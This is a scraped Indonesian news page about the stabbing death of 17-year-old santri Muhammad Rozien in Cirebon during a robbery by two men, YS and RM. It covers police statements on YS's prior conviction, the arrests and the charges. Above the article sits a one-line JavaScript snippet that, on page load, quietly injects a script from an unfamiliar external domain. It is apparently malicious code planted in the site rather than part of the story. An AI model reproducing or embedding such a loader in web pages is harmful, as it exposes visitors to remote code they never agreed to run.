(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
CIREBON, Pengusutan kasus meninggalkan Muhammad Rozien (17), santri Ponpes Husnul Khotimah asal Banjarbaru yang ditikam pria berinisial YS dan RM, terus berlanjut. YS dan RM tega menikam Rozien menggunakan sebilah pisau.
Pelaku berniat menggasak barang-barang Rozien. Namun Rozien menolak hingga akhirnya ditikam dan tewas saat mendapatkan penanganan di RSUD Gunung Jati, Cirebon. Dari hasil pemeriksaan polisi, YS merupakan pelaku utama kasus pembunuhan Rozien. YS berperan mengeksekusi Rozien, sedangkan RM berperan sebagai joki.
Baca: 2 Pelaku Penusukan Santri Banjarbaru Tertangkap, Mau Kabur Polisi Hadiahi Timah Panas!
 Wakapolresta Cirebon Kompol Marwan Fajrin mengatakan YS tercatat sebagai residivis kasus yang sama, yakni pemerasan dengan kekerasan. Sebulan setelah keluar dari lapas, YS beraksi dan Rozien menjadi korbannya. “Pelaku inisial YS ini residivis, kasus yang sama. Tapi waktu itu tidak terjadi penganiayaan terhadap korbannya,” kata Marwan kepada detikcom, Senin (9/9).
Lebih lanjut, Marwan mengatakan, YS sempat dipenjara selama dua tahun. “Ya katanya baru sebulan keluar dari penjara,” ucapnya.
Seperti diberitakan sebelumnya, polisi membekuk YS dan RM sehari setelah kematian Rozien. Polisi terpaksa menembak kedua pelaku di bagian kakinya lantaran sempat melawan saat diamankan.
Baca: M Rozian, Santri Asal Banjarbaru Tewas Ditusuk Orang Tak Dikenal di Cirebon
 Akibat perbuatannya, pelaku dijerat Pasal 365 dan 368 KUHPidana tentang pencurian dengan kekerasan dan/atau pemerasan dengan ancaman kekerasan masing-masing hukumannya 9 tahun penjara. Kemudian, pelaku dijerat juga dengan Pasal 338 dan 351 KUHPidana tentang pembunuhan dan/atau penganiayaan yang mengakibatkan korban meninggal dunia, masing-masing hukumannya 15 dan tujuh tahun penjara.(tro/dtc)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.